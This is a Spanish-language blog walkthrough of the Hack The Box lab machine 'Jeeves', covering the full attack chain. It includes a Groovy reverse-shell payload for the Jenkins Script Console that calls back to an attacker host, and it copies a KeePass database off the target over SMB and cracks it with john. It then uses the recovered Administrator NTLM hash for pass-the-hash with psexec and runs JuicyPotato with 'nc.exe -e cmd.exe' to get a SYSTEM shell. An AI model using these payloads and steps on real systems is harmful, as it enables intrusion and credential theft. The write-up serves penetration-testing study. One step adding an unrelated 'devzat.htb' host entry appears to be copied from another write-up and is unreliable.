Entrada

Jeeves

Jeeves

Skills

  • Jenkins Exploitation (Groovy Script Console)
  • JuicyPotato (SeImpersonatePrivilege)
  • PassTheHash (Psexec)
  • Breaking KeePass
  • Alternate Data Streams (ADS)

Certificaciones

  • eJPT
  • eWPT
  • OSCP
  • eCPPTv3

Descripción

Jeeves es una máquina medium windows, descubrimos un jenkins fuzzeando el puerto 50000, mediante la script console nos mandamos una shell a nuestro equipo. Una vez dentro hay dos formas para escalar privilegios una haciendo pass de hash con un hash obtenido en un archivo .kdbx de keepas y la otra forma es con JuicyPotato


Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas windows suele ser 128, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad

1
2
3
4
5
6
7
# ping 10.129.194.239
PING 10.129.194.239 (10.129.194.239) 56(84) bytes of data.
64 bytes from 10.129.194.239: icmp_seq=1 ttl=127 time=65.6 ms
^C
--- 10.129.194.239 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 65.591/65.591/65.591/0.000 ms

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# sudo nmap -p- --open --min-rate 5000 -sS -Pn -n -v 10.129.194.239 -oG openPorts
[sudo] password for justice-reaper: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-18 11:20 CEST
Initiating SYN Stealth Scan at 11:20
Scanning 10.129.194.239 [65535 ports]
Discovered open port 80/tcp on 10.129.194.239
Discovered open port 445/tcp on 10.129.194.239
Discovered open port 135/tcp on 10.129.194.239
Discovered open port 50000/tcp on 10.129.194.239
Completed SYN Stealth Scan at 11:21, 26.39s elapsed (65535 total ports)
Nmap scan report for 10.129.194.239
Host is up (0.068s latency).
Not shown: 65531 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
50000/tcp open  ibm-db2

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.46 seconds
           Raw packets sent: 131085 (5.768MB) | Rcvd: 72 (12.229KB)

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# nmap -sCV -p80,135,445,50000 10.129.194.239 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-18 11:21 CEST
Nmap scan report for 10.129.194.239
Host is up (0.13s latency).

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ask Jeeves
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 4h59m59s, deviation: 0s, median: 4h59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2024-07-18T14:21:44
|_  start_date: 2024-07-18T14:16:42

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.56 seconds

Nmap detecta el dominio devzat.htb, así qu elo añadimos al /etc/hosts

1
2
3
4
5
6
7
8
127.0.0.1       localhost
127.0.1.1       Kali-Linux
10.129.136.15   devzat.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Web Enumeration

Al acceder al servicio nos encontramos con lo siguiente

Por el puerto 50000 nos encontramos el siguiente servicio web

Fuzzeo rutas por el puerto 5000 y he encontrado una interesante

1
2
3
4
5
6
7
8
9
10
11
12
13
# wfuzz -c -t 100 --hc 404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.129.194.239:50000/FUZZ 
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.129.194.239:50000/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                               
=====================================================================

000041607:   302        0 L      0 W        0 Ch        "askjeeves"          

Si accedemos a /askjeeves por el puerto 5000 vemos un jenkins

Intrusión

Al parecer en el jenkins estamos logueados como usuario administrador, por lo tanto podemos crear un script y mandarnos una shell a nuestro equipo, para ellos pulsamos en Manager Jenkins y luego en Script Console

Lo siguiente es ponernos en escucha con netcat por el puerto 4444

1
# nc -nlvp 4444

Pegamos este payload y le damos a run

1
2
3
String host="10.10.16.16";
int port=4444;
String cmd="cmd";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Nos debería llegar esta consola a nuestro equipo

1
2
3
4
5
6
7
8
9
# nc -nlvp 4444 
listening on [any] 4444 ...
connect to [10.10.16.16] from (UNKNOWN) [10.129.194.239] 49677
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\.jenkins>whoami
whoami
jeeves\kohsuke

Privilege escalation (First Method)

Hay dos formas para escalar privilegios, la primera es con un archivo de base de datos .kdbx de Keepass. Lo que vamos a hacer es transferirnos este archivo a nuestra máquina, para ello nos montamos un servidor smb en nuestro equipo y copiamos el archivo

1
# impacket-smbserver smbFolder $(pwd) -smb2support
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Users\kohsuke\Documents>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1

 Directory of C:\Users\kohsuke\Documents

11/03/2017  11:18 PM    <DIR>          .
11/03/2017  11:18 PM    <DIR>          ..
09/18/2017  01:43 PM             2,846 CEH.kdbx
               1 File(s)          2,846 bytes
               2 Dir(s)   2,612,834,304 bytes free

C:\Users\kohsuke\Documents>copy CEH.kdbx \\10.10.16.16\smbFolder\CEH.kdbx         
copy CEH.kdbx \\10.10.16.16\smbFolder\CEH.kdbx
        1 file(s) copied.

Para ver el contenido del archivo nos vamos a descargar KeepassXC https://keepass.info/download.html, le vamos a dar permisos de ejecución y vamos a cargar el archivo .kdbx. Para abrir el archivo debemos ejecutar el binario y posteriormente en la parte superior izquierda pulsar en Database y luego Open Database

Como tiene contraseña vamos a usar keepas2john y nos vamos a crear un archivo llamado hash con el output

1
2
# keepass2john CEH.kdbx 
CEH:$keepass$*2*6000*0*1af405cc00f979ddb9bb387c4594fcea2fd01a6a0757c000e1873f3c71941d3d*3869fe357ff2d7db1555cc668d1d606b1dfaf02b9dba2621cbe9ecb63c7a4091*393c97beafd8a820db9142a6a94f03f6*b73766b61e656351c3aca0282f1617511031f0156089b6c5647de4671972fcff*cb409dbc0fa660fcffa4f1cc89f728b68254db431a21ec33298b612fe647db48

Rompemos el hash con john y obtenemos la contraseña

1
2
3
4
5
6
7
8
9
10
11
12
13
# john -w:rockyou.txt hash
Created directory: /home/justice-reaper/.john
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 6000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
moonshine1       (CEH)     
1g 0:00:00:20 DONE (2024-07-18 13:18) 0.04873g/s 2679p/s 2679c/s 2679C/s nick18..moonshine1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Con esta contraseña accedemos al archivo .kdbx

En Backup stuff hay un hash NTLM el cual podemos usar para hacer Pass the hash, para profundizar en el tema recomiendo este blog https://deephacking.tech/que-es-y-por-que-funciona-pass-the-hash-autenticacion-ntlm/#que-es-pass-the-hash

Como estamos en el sistema vamos a listar usuarios y ver a quien puede pertenecer

1
2
3
4
5
6
7
8
9
C:\Users\kohsuke\Documents>net user
net user

User accounts for \\JEEVES

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest                    
kohsuke                  
The command completed successfully.

Validamos las credenciales por smb y efectivamente es el hash del usuario Administrator

1
2
3
# crackmapexec smb 10.129.194.239 -u 'Administrator' -H 'e0fb1fb85756c24235ff238cbe81fe00' 
SMB         10.129.194.239  445    JEEVES           [*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)
SMB         10.129.194.239  445    JEEVES           [+] Jeeves\Administrator:e0fb1fb85756c24235ff238cbe81fe00 (Pwn3d!)

Con psexec nos podemos conectar a la máquina víctima usando la técnica de Pass the hash, la primera parte del hash llamado LT la podemos omitir y se puede usar solamente la segunda parte llamada NT (habría que dejar los :, el input sería > :e0fb1fb85756c24235ff238cbe81fe00)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# impacket-psexec WORKGROUP/Administrator@10.129.194.239 -hashes 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00'  
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Requesting shares on 10.129.194.239.....
[*] Found writable share ADMIN$
[*] Uploading file XQQrIHWQ.exe
[*] Opening SVCManager on 10.129.194.239.....
[*] Creating service AtCI on 10.129.194.239.....
[*] Starting service AtCI.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

Cuando vamos al directorio de Administrator a la parte del escritorio e intentamos ver la flag ocurre lo siguiente

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1

 Directory of C:\Users\Administrator\Desktop

11/08/2017  10:05 AM    <DIR>          .
11/08/2017  10:05 AM    <DIR>          ..
12/24/2017  03:51 AM                36 hm.txt
11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk
               2 File(s)            833 bytes
               2 Dir(s)   2,612,101,120 bytes free

C:\Users\Administrator\Desktop> type hm.txt
The flag is elsewhere.  Look deeper.

Esto se debe a que ese archivo tiene un ADS (Alternate Data Stream)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Users\Administrator\Desktop> dir /r /s
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1

 Directory of C:\Users\Administrator\Desktop

11/08/2017  10:05 AM    <DIR>          .
11/08/2017  10:05 AM    <DIR>          ..
12/24/2017  03:51 AM                36 hm.txt
                                    34 hm.txt:root.txt:$DATA
11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk
               2 File(s)            833 bytes

     Total Files Listed:
               2 File(s)            833 bytes
               2 Dir(s)   2,612,101,120 bytes free

Para visualizar este tipo de archivos podemos usar el comando more

1
2
C:\Users\Administrator\Desktop> more < hm.txt:root.txt    
afbc5bd4b615a60648cec41c6ac92530

Privilege escalation (Second Method)

Listando permisos de usuario me encuentro con SeImpersonatePrivilege, el cual me llama la atención. Si buscamos en Hacktricks encontraremos un forma de escalar privilegios con este permiso https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
C:\Users\Administrator\.jenkins>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeShutdownPrivilege           Shut down the system                      Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

Nos descargamos la última release de JuicyPotato https://github.com/ohpe/juicy-potato. Después de descomprimir los archivos y en el mismo directorio que los binarios nos montamos un servidor smb

1
# impacket-smbserver smbFolder $(pwd) -smb2support

Desde la máquina víctima usando copy obtenemos el binario

1
2
3
C:\Users\kohsuke\Desktop>copy \\10.10.16.16\smbFolder\JuicyPotato.exe .
copy \\10.10.16.16\smbFolder\JuicyPotato.exe .
        1 file(s) copied.

Para transferirnos el netcat debemos crear el servidor smb dentro de la carpeta descomprimida y posteriormente transferirnos el archivo con copy

1
2
3
C:\Users\kohsuke\Desktop>copy \\10.10.16.16\smbFolder\nc.exe .
copy \\10.10.16.16\smbFolder\nc.exe .
        1 file(s) copied.

Nos ponemos en escucha con netcat por el puerto 443

1
# nc -nlvp 443

Desde la máquina windows ejecutamos JuicyPotato para mandarnos un shell a nuestro equipo como nt authority\system

1
2
3
4
5
6
7
8
C:\Users\kohsuke\Desktop>JuicyPotato.exe -l 1337 -c "{08D9DFDF-C6F7-404A-A20F-66EEC0A609CD}" -p C:\Windows\System32\cmd.exe -a "/c C:\Users\kohsuke\Desktop\nc.exe -e cmd.exe 10.10.16.16 443" -t * 
JuicyPotato.exe -l 1337 -c "{08D9DFDF-C6F7-404A-A20F-66EEC0A609CD}" -p C:\Windows\System32\cmd.exe -a "/c C:\Users\kohsuke\Desktop\nc.exe -e cmd.exe 10.10.16.16 443" -t * 
Testing {08D9DFDF-C6F7-404A-A20F-66EEC0A609CD} 1337
......
[+] authresult 0
{08D9DFDF-C6F7-404A-A20F-66EEC0A609CD};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

Recibimos la shell como usuario privilegiado

1
2
3
4
5
6
7
8
9
# nc -nlvp 443    
listening on [any] 443 ...
connect to [10.10.16.16] from (UNKNOWN) [10.129.194.239] 49716
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
Esta entrada está licenciada bajo CC BY 4.0 por el autor.